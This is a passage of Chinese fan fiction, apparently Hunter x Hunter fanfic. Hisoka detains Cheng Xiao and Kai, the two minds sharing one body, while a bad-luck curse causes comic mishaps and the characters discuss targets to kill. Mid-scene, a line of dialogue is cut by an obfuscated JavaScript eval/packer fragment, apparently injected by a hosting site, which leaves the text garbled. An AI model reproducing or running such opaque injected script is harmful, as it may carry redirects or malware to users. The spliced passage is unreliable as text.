西索看着程笑那副兴奋到近乎癫狂、完全共鸣甚至升华了自己想法的样子,脸上的笑容渐渐凝固,变成了纯粹的惊讶,然后是更深的、如同发现稀世珍宝般的探究和愉悦。 他以为程笑会害怕,会愤怒,会试图反驳或求饶。 他没想到,程笑竟然……完全理解,并且举双手赞成,甚至还想添柴加火! 这小苹果……内核里藏着的东西,比他想象的还要黑暗,还要有趣,还要……对自己和他人,都毫无怜悯。 那一瞬间,西索几乎要以为,这个伤痕累累的少年,下一秒就会跳起来,握住他的手,说:“大哥!这票我跟你干了!咱们一起把天捅个窟窿!” 他熔金般的瞳孔因期待而微微收缩,指尖甚至无意识地摩挲了一下,仿佛准备迎接一个疯狂盟友的击掌。 然而—— 程笑脸上的狂热笑容和眼中的火焰,毫无征兆地、如同被精准掐断的电源,瞬间消失了。 取而代之的是一种……放空。一种灵魂暂时离体般的茫然。 “哎呀,不好意思啊,”他耸了耸肩,“凯叫我回家吃饭了。” 西索:“……???” 还没等西索理解这突如其来的频道切换和诡异说辞,程笑整个人的气质再次发生了剧变。 那点跳脱和疯狂彻底敛去,背脊微微挺直,眼神沉静下来,如同深潭。就连脸上细微的表情管理都变了,是一种近乎非人的、极度克制的平静。 “凯”接管了这具身体。 他抬起被固定住的右手臂,用还能动的指尖,略显僵硬地整理了一下额前汗湿的碎发,然后抬眼看向西索。 像是一个严厉的家长,看着试图带坏自家小孩的、打扮花哨且心术不正的“狐朋狗友”。 凯:“离他远点。” 西索:“………………” 他脸上那准备迎接“疯狂同盟”的兴奋表情,瞬间凝固,然后如同退潮般垮塌下去,混合着愕然、无语、以及一种计划被打断的淡淡不爽。像一只刚刚竖起毛发、准备参与一场盛大拆家活动的猫,突然被主人拎着后颈皮提到半空,瞬间萎了。 他甚至微妙地撇了撇嘴,嘀咕了一句:“……切~扫兴。” ——————脑中 程笑正飞快地进行“事故简报”: 程笑:我被逮了,打不过,受了点伤,这变态想杀了我然后让你住他脑子里,然后大家一起杀他,他觉得这样很嗨。我刚觉得这主意不错,想怂恿他玩更大,最好把伊尔迷和库洛洛都坑死,你就回来了。 凯:‘主意不错’? 程笑:骨折两三处,皮肉伤若干,死不了!那主意是不是很棒?用我一个,换他们三个变态互殴,你坐收渔利!稳赚不赔啊! 凯:‘稳赚不赔’的前提是,你能在计划中存活,或至少你的‘牺牲’能精准达成预定效果。以西索的不可控性和伊尔迷、库洛洛的算计,你存活概率低于5%,计划成功率低于10%。这是必亏的买卖。 程笑:……哦。 —————————— 现实里,西索已经迅速调整好了情绪。他重新挂上那副玩味的笑容,上下打量着气质迥异的“程笑”。 “啊啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“太棒了!真的太棒了!我真是越来越期待,越来越……” 他的声音因激动而微微发颤: “迫不及待,想让你住进我的脑子里了!” “那样的话,我们一定能联手,把这整个世界……都变成最华丽、最血腥、最让人迷醉的游乐场吧~?!” 凯面无表情地看着他,沉默了两秒。 然后,清晰而平静地吐出: “离我远点。” 西索:“…………” 他脸上的狂热笑容又一次僵住,随即垮了下来,变成了货真价实的委屈和抱怨: “唉~你们知不知道,这种过山车一样的情绪起伏——刚刚还聊得那么投入、那么有共鸣,下一秒就冷着脸让我‘离远点’——很容易让人萎掉哦~?” 程笑(意识中):他居然用这个词! 凯(现实中):“……请你冷静。” 程笑:快快快,让我说一句! 凯将部分发声权交还,程笑立刻操控脸部肌肉,对着西索扯出一个虚弱却充满调侃意味的假笑,气若游丝地补了一句: “…请你自重。” 西索:“………………” 凯无视了他的表演,直接操控身体,试图从床上挪下来——动作因伤势和固定而极其艰难笨拙。 “合作基础已经给出,”凯的声音依旧平稳,带着结束谈判的意味,“具体细节和你的‘名单’,想好后,可以通过程笑联络。现在——” 他抬起缠满绷带的手,指了指套房的门: “我们需要离开。疗伤,以及……处理一些‘家务事’。” “——不行~”西索甜腻的声音打断了他,带着一丝不容错辨的、猫捉老鼠般的玩味。 凯的动作停住。 西索慢悠悠地踱步回来,重新挡住了去路。他俯下身,金色的瞳孔在近距离下如同狩猎中的猛兽,牢牢锁定了“程笑”(凯)的眼睛。 “让你们离开?”西索轻笑,指尖勾起一缕程笑汗湿的额发,动作亲昵,语气却冰冷而现实,“我看起来……像是那种会轻易放走好不容易才逮住的、尤其还是自己撞上门来的、狡猾又美味的小苹果的……傻瓜吗?” 他直起身,摊开手,表情无辜又理直气壮: “一个程笑,就能从我和小伊、库洛洛三方眼皮底下溜走那么多次。再加上你这个更会算计的本尊……放你们出去?让你们有机会躲进哪个我找不到的角落,然后对我‘谢邀’、‘耍赖’、甚至反过来设局?” 西索摇了摇头,笑容灿烂却毫无温度: “不行哦~?” “在‘那场席卷世界的风暴’真正刮起来之前……” 他的念力如同无形的蛛丝,悄然蔓延,温和却不容抗拒地将凯按回了床上,甚至体贴地拉高了羽绒被。 “你们两位,得乖乖待在我能‘看见’的地方才行呢~?” 他满意地看着被“固定”在床上的凯,语气重新变得轻快,仿佛刚才的冰冷威胁只是错觉: “至于伤势~这里很安全,药物也很齐全,我会‘好好’照顾你的~?” “家务事?嗯……远程处理也不是不行嘛~?” “毕竟,我们现在是‘合作伙伴’了呀~要增进信任,当然是从……‘同居’开始啦~?” 他甚至还眨了一下眼。 凯沉默地躺在那里,脸上没有任何表情。他没有再试图起身或反驳。 在绝对的力量差距和此刻被控制的状态下,激怒西索没有任何好处。 他迅速调整了策略。 几秒钟后,凯才再次开口,声音平静无波,仿佛刚才的“离开提议”从未发生,直接跳回了合作议题: “那么,在‘同居’期间,我们可以开始初步筛选和评估潜在目标。需要调用一些外部信息,程笑的猎人执照和通讯设备……” “我会提供~?”西索爽快地答应,仿佛一个慷慨的主人,“需要什么就说~毕竟,我也很期待你的‘方案’呢~?” 房间里气氛微妙地“缓和”下来,从剑拔弩张的对抗,变成了某种诡异的、受控状态下的“合作”。 西索心满意足地坐回窗边的沙发,翘起腿,又开始哼着不成调的歌,仿佛刚刚完成了一笔满意的交易。 而凯/程笑则安静地靠在床头,闭上了眼睛,开始在心里飞速规划如何在被监视的情况下,与程笑沟通,并利用有限资源,为那个“与世界为敌”的疯狂计划填充实际内容——同时,寻找任何可能的、不激怒西索的脱身缝隙。 程笑在意识里小声哔哔:…所以咱们这是…被变态包养了?包吃包住包医疗,还附赠死亡威胁和终极梦想策划服务? 凯:可以这么理解。优先事项:稳住他,治疗你的伤势,寻找安全漏洞。 程笑:行吧…就是这‘同居’体验,估计不会太美好。 58.第 58 章 西索套房,深夜 浴室的水声停了。西索擦着滴水的红发,腰间松垮地围着浴巾走出来,身上还蒸腾着热气。 然后,他脚步顿住了。 沙发上,程笑正靠着抱枕,手里捧着一个猎人专用平板。这很正常。 不正常的是——平板屏幕被精准地一分为二,同时运行着两个独立的界面。 左半边,是密密麻麻的经济新闻和暗网情报流,页面刷新速度快得惊人,显然是在进行高效的信息筛选和关键词追踪。 右半边,正在播放一部画面浮夸、台词狗血的深夜档肥皂剧。 而“程笑”的脸上,呈现出一种极其精分的状态: 左眼(由凯操控)瞳孔微微收缩,紧盯着新闻数据流,眼神冷静专注,眼皮眨动的频率极低。 右眼(由程笑操控)则完全放松,甚至带着点百无聊赖,跟着肥皂剧的剧情微微转动,看到女主踮起脚尖时还几不可察地翻了个小白眼。 更精分的是嘴——此刻由程笑主导,正小声地、实时吐槽着肥皂剧: “啧,又来了又来了,经典泼咖啡环节……这次能不能换个饮料?红酒也行啊,至少颜色鲜艳点……哦豁,果然还是咖啡,这导演没创意……” 西索擦头发的动作停了。他歪着头,金色的瞳孔里充满了发现新大陆般的新奇和愉悦。 “嗯哼~?”他甜腻地拖长调子,像只发现毛线球的大猫,轻手轻脚地蹭到沙发边,挨着“程笑”坐下: “确实没创意呢~泼咖啡太普通了,如果是滚烫的罗宋汤,或者粘稠的枫糖浆,视觉效果和后续的‘清理难度’会更有趣哦~?” 程笑(嘴):“有道理!或者泼一碗刚拌好的麻酱面!那才叫一个难以收拾!” 凯(左眼):……专心筛选目标ing 西索笑眯眯地,手臂状似无意地搭在了沙发靠背上,几乎将“程笑”圈在怀里。他的气息混合着沐浴露的甜香和一丝危险的味道,笼罩下来。 “那么~”西索的视线主要落在新闻页面上,开始和凯讨论,“你觉得下一个‘幸运儿’,选这个正在竞标边境矿产的寡头怎么样?听说他有个手下挺强~?” 凯(操控左手,在新闻页面上快速标注):“可以。他的安保团队负责人有赌博恶习,是突破口。需要安排一场‘意外’的债务纠纷。” 程笑(右眼盯着电视剧,嘴闲不住):“哇靠这男主居然不躲?就站着让她泼?这演技也太木了吧……哎呀泼了泼了!哈哈哈果然一点都没浪费,全泼裤子上了!这咖啡道具组肯定用的是凉水,一点热气都没有……” 他一边吐槽,一边习惯性地伸手去够茶几上的水杯(此时左手正被凯用来标注,所以他用的是缠着绷带的右手,动作有点笨拙)。 就在他的指尖刚碰到杯壁的瞬间—— 啪。 他手腕上原本已经愈合得差不多的某处细小挫伤,突然传来一阵极其轻微的、不合时宜的刺痛和乏力感。 厄运生效:旧伤“恰好”在此时不适 杯子的重心,因此产生了肉眼难以察觉的偏移。 “程笑”的手指明明已经握住了杯子,却在提起的刹那,杯子以一种违反常理的、滑不留手的方式,从他指尖溜了出去! 杯子在空中划出一道短暂的弧线,里面半杯微凉的清水,如同被精确制导一般—— 哗啦! 全数泼在了紧挨着他坐、浴巾裹得本就不甚牢靠的西索的……大腿上。 水渍迅速在浅色的浴巾上洇开一片深色,位置微妙。 时间仿佛静止了一秒。 西索:“……?” 他缓缓低头,看了看自己湿漉漉的浴巾,又缓缓抬头,看向近在咫尺的“程笑”。 程笑:“…………” 凯:…… (新闻页面停止了滚动) 西索脸上的笑容,慢慢变得玩味起来,他拖长了语调:“哦呀~?这是……新的战术?干扰敌方状态?还是说……” 他的目光来回扫视,语气甜腻又危险: “小苹果你看剧太投入,想……‘致敬’一下经典桥段?” 话音未落,只见“程笑”脸上那精分般的状态瞬间统一! 右眼那股看剧的懒散和吐槽的灵动“唰”地消失,程笑溜得飞快,把操控权彻底丢给了凯。 凯完全接管了身体。他面无表情地看了看西索湿透的浴巾,又看了看地上滚落的水杯,眼神里只有纯粹的、基于现状的理性分析,没有一丝一毫程笑可能会有的尴尬、惊慌或恶作剧得逞的窃喜。 他甚至微微蹙眉,似乎对这次“操作失误”导致的信息处理中断感到一丝不悦。 然后,他用那双平静无波的眼睛看向西索,语气如同在陈述“今天天气不好”: “?还愣着做什么?” 他甚至用下巴指了指浴室的方向,带着一种“这还需要我教吗”的理所当然: “快去换掉啊。” 顿了顿,他似乎觉得对方可能没理解,又补充了一句,语气里甚至带着点不易察觉的“你这人怎么这么不讲究”的嫌弃: “难不成——” 凯上下扫了一眼西索浴巾下成熟高大的身材,又低头瞥了一眼“自己”这具缠满绷带、明显未成年的身体,理直气壮地反问: “——你(明显成男)还指望我(小孩身体)帮你换?” 西索:“………………” 他脸上那玩味的、准备迎接挑衅或尴尬或至少有点有趣反应的笑容,彻底僵住,然后慢慢垮掉。 剧本……不是这么写的啊? 正常情况下,不是应该有点脸红、有点慌乱、或者至少有点恶作剧后的心虚吗? 这种“你脏了快去洗洗别碍事”的纯粹理工男反应是怎么回事?! 几秒钟的诡异沉默后。 西索忽然长长地、深深地吸了一口气,然后—— “哈。”他发出一个短促的、近乎气音的笑声。 他歪着头,用全新的、仿佛第一次真正看透什么的眼神,上下打量着凯。 “怪不得啊……”西索拖长了调子,语气甜腻依旧,却多了一种洞悉秘密般的微妙感慨, “怪不得~你和小伊做了那么久的‘夫妻’……” 他刻意在“夫妻”两个字上咬了重音,带着一丝戏谑。 “——都还是纯洁得能挤出消毒水的关系呢~” ……他喜欢看坚固的东西崩坏。尤其是凯这种,看似完美理性的存在,如果崩坏起来,一定格外……美味。 西索摊开手,表情无辜又带着点“我终于找到病根了”的释然: “就凭你这种‘泼了水就快去换别碍事’的脑回路,配上小伊那种‘一切皆为资产和效率’的处理器……” 他夸张地打了个寒颤,仿佛光是想象那个画面就让人不寒而栗: “啧。真是绝配。” “这种气氛,这种对话……不管长着什么样的脸,对着什么样的人,都会让人瞬间……” 西索停顿了一下,寻找最贴切的词汇,然后慢悠悠地、一字一顿地吐出那个结论: “毕竟,常规的‘浪漫’或‘温情’攻势,对你来说——大概就像试图用抒情诗给超级计算机杀毒——完全不对频道,还会被当作冗余垃圾进程直接清理掉吧~?” 他目光死死锁住凯的脸,不放过任何一丝细微的波动。 他在等待凯被戳中痛处,或许是他认为的“情感缺失”的痛处。那冰冷的逻辑外壳下,泄露出一点名为“难堪”、“恼怒”甚至“悲伤”的人性温度。 然而—— 凯:“…………” 他安静地听完了西索这一长串充满个人见解和夸张比喻的“分析”,脸上依旧没什么表情,只是眼神里似乎掠过一丝极其细微的“这人又在说些什么莫名其妙的东西”的困惑。 但他没有反驳,也没有解释。 只是等西索说完,才平静地再次指了指浴室,重复了最初也是唯一的诉求: “所以,快去换。” 语气没有丝毫波动,仿佛刚才那段关于“夫妻关系”、“绝配”和“杀毒比喻”的讨论,只是无关紧要的背景噪音。 西索:“…………” 他脸上的表情,从期待的恶趣味,慢慢变成了茫然,然后是难以置信,最后定格在一种深深的、货真价实的…… 无语。 他精心准备的、足以让任何正常人类产生剧烈情绪反应的辛辣讽刺和隐私窥探,就像一记猛拳打在了最致密的海绵上。没有反弹,没有声响,甚至没有涟漪。 这家伙……根本不是“性冷淡”。 他是根本就没有安装“情感反应”这个模块!或者安装了,但默认权限设置是“仅后台静默分析,禁止前台输出干扰主进程”! 西索看着凯那张写满“问题已处理,请勿重复提交无效信息”的脸,生平第二次(今晚频率有点高),感到一阵强烈的、计划彻底落空的无力感。 “哈?……变态。” 最终,西索只是从喉咙深处,挤出了一个干巴巴的、充满挫败感的音节。 不是骂人,更像是一种物种鉴定。 西索悻悻地扯了扯湿透的浴巾,彻底放弃了任何制造暧昧或尴尬的企图,嘀咕着“一个两个都这么无趣……”,转身朝浴室走去,背影透着一股“这届猎物和对手都不行”的浓浓怨念。 水声再次响起,比之前猛烈得多。 沙发上,凯重新低下头,专注于平板屏幕。 新闻数据流再次开始平稳滚动。 刚才那场针对他“人性”的猛烈炮火,仿佛只是一段微不足道的背景杂音,已被他的系统彻底过滤、归档,不会对核心任务产生任何实质性影响。 意识里,程笑已经笑到打滚:哈哈哈哈哈哈哈哈哈哈!!!!!!变态!!!西索说你是变态!!!哈哈哈哈他骂完自己萎了!!!他骂完自己信了!!!凯!你赢了!你赢麻了!!!你用学术论文把变态给说自闭了!!!史上最强反杀! 凯:…………他的情绪波动幅度异常,可能与体温变化及激素水平有关。建议观察后续行为是否稳定。 程笑:……你还真分析啊!重点是看他吃瘪的表情啊!乐子!乐子你懂吗! 凯:………再笑,下次你自己应付他。 程笑:……我错了,凯哥,您继续。 ——————另一边 夜色渐深,临时据点内灯光冷白。 库洛洛和伊尔迷分别坐在沙发两端,中间摊开着地图和情报摘要,正在分析凯失联和西索可能的位置。空气里弥漫着一种高效的、冰冷的合作氛围。 库洛洛端起手边刚泡好的红茶,姿态一如既往的优雅从容。他正倾身向前,准备在地图上指出一个疑点,同时对伊尔迷阐述自己的推理: “根据侠客初步反馈,西索最后消失的区域能量残留很混乱,但有一处高端酒店的入住记录存在一个难以解释的微小时间断层,这可能是……” 话音未落。 他端着茶杯的手腕,那永远稳定如精密仪器的手腕,毫无征兆地、极其轻微地抽搐了一下。 幅度小到几乎看不见,但足以让杯中温热的红茶精准地脱离了既定轨道,划过一道短促的弧线—— 哗。 不偏不倚,正好泼在了坐在对面、正微微前倾查看地图的伊尔迷的……大腿裤子上。 深色的茶渍,在伊尔迷那身剪裁合体、价格不菲的黑色长裤上迅速洇开,位置相当尴尬且微妙,正在大腿中段偏内侧。 伊尔迷:“…………” 他低头的动作停住了。漆黑的猫眼缓缓抬起,从裤子上那片迅速扩大的湿痕,移到了库洛洛依旧端着茶杯、但笑容已然完全凝固的脸上。 空气瞬间冻结。 库洛洛:“…………” 他生平第一次,感到一种近乎“荒谬”的情绪。以他对身体的控制力,这种低级到可笑的失误,比被敌人一刀捅穿的概率还低。 代价。 “厄运虹吸”的代价。 以这种……愚蠢到极点的方式显现了。 两人就这样僵持了两秒。 库洛洛不愧是库洛洛,他迅速收敛了所有外露的情绪,脸上重新挂起那副无可挑剔的、带着歉意和疏离的优雅微笑。 “非常抱歉,”他的声音平稳得听不出一丝异样,仿佛刚才只是不小心碰掉了一张纸,“伊 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他的表情在0.5秒内经历了从疑惑、到震惊、到恍然大悟、再到“我什么都没看见我什么都不知道”的强行镇定。 他飞快地低下头,目不斜视,以平生最快的速度推着清洁车,“唰”地一声从门口掠过,消失在走廊尽头。仿佛多停留一秒,就会被房间里那两位看起来就非常不好惹的客人灭口。 门,还在风中微微晃动。 房间内,死一般的寂静。 伊尔迷的目光,从门口收回来,重新落到库洛洛脸上。依旧没有表情,但那双空洞的猫眼里,似乎有某种冰冷的、名为 “你现在最好立刻想出一个能说服我的理由,否则下一枚念钉的位置就不是裤子了” 的东西在凝聚。 库洛洛保持着递手帕的姿势,脸上的完美笑容终于出现了一丝真正的裂痕。他清晰地感受到了伊尔迷那无声却沉重的杀意。 一种熟悉的、基于多次“合作”与“互相算计”而形成的诡异默契,在此刻悄然浮现。 两人甚至没有交换眼神。 库洛洛无比自然、流畅地将递手帕的手收了回来,转而探入西装内袋。 然后,他掏出了钱包。 从里面抽出一张黑色的、没有额度上限标志的顶级信用卡。 伊尔迷低头,看了一眼那张黑卡,又抬头看了一眼库洛洛。 沉默再次蔓延。 但这次,杀意似乎稍微消散了一点点。 伊尔迷伸出一根苍白的手指,将黑卡勾到自己面前,看也没看就收了起来。然后,他站起身。 “会议暂停。”他用平板的声线宣布,“我需要更换衣物,以及……” 他看了一眼库洛洛,眼神里明明白白写着 “你离我远点”:“处理一下环境变量。” 说完,他迈着依旧平稳但似乎加快了一丝的步伐,走向套房的卧室,并反手锁上了门。 客厅里,只剩下库洛洛一人。 他缓缓坐回沙发,端起那杯洒了一半的红茶,看着杯中晃动的液体,又瞥了一眼还在微微晃动的房门。 然后,他轻轻地、几乎无声地叹了口气。 “厄运虹吸”的代价…… 果然,不能小觑。 他低头,看着自己依旧稳定、却刚刚制造了一场小型外交危机的右手,眼中闪过一丝冰冷的深思。 能力在生效,程笑那边应该已经受到影响。 但这代价……开始干扰我和“盟友”的关系,以及引人注目的风险。 ………看来需要重新评估维持能力的风险收益比,或者……加快进度了。 此时那位被迫换裤子、并收获一张黑卡的杀手先生…… 他大概在思考,如何用最有效率的方式,把这张卡的额度刷到上限,以弥补自己今晚遭受的精神损失。 ————西索套房 “嗯~不对劲呢。”西索甜腻地开口,金眸微微眯起,“小苹果之前虽然也莽撞,但肢体协调和精细操作可没这么差……刚才那杯水,泼得也太‘准’了点~?” 他踱步过去,俯身,指尖勾起一缕程笑的头发,轻轻嗅了嗅,又用手指看似随意地拂过程笑裸露在外的手腕皮肤。 “念力的流动……”西索的声音低沉下去,带着一种猎犬般的警觉和兴奋,“有一种非常细微的、不协调的‘滞涩感’和‘偏移’……不像是受伤或疲劳导致的,更像是……” 他直起身,眼中闪烁着发现新玩具般的光芒: “被某种外来的、涉及‘命运’或‘运气’层面的念能力……标记了?干扰了?” 凯停下了操作,抬头看向西索,眼神平静:“你的判断是?” “库洛洛~”西索几乎是立刻得出了结论,语气笃定又带着看好戏的愉悦,“肯定是那家伙!他最喜欢搞这种阴湿又抽象的小把戏了~‘厄运’类的能力吗?真是符合他那种躲在幕后算计的风格呢~” 他摸着下巴,笑容越来越灿烂:“所以,刚才水泼到我,与其说是程笑笨拙,不如说是‘厄运’让你的动作产生了微小偏差,刚好达成了最让人恼火的效果~?” 西索凑近凯的脸,呼吸几乎喷到对方皮肤上,声音压得极低,充满了分享秘密般的兴奋: “这么说来……库洛洛现在,应该也在被这个能力的‘代价’反噬吧~?毕竟这种干涉‘运气’的能力,代价往往很有趣呢~说不定他现在正遭遇着某种同样荒诞又恼火的‘小意外’哦~?” 他的目光仿佛穿透了墙壁,看到了远处库洛洛可能遇到的窘境,乐不可支: “啊~想想就让人愉快!” 凯安静地听完,脸上依旧没什么表情。 程笑(意识里):?!所以不是我突然变手残?是那蜘蛛头子给我下咒了?! 凯:可以这么理解。可能也是西索突然能‘抓住’你的非智力因素之一。从现在起,所有非计划内的‘小意外’,都需要提高警惕,并考虑其是否被‘厄运’放大或引导。 程笑:……懂了。以后走路先看三遍天花板,防止吊灯掉下来砸我。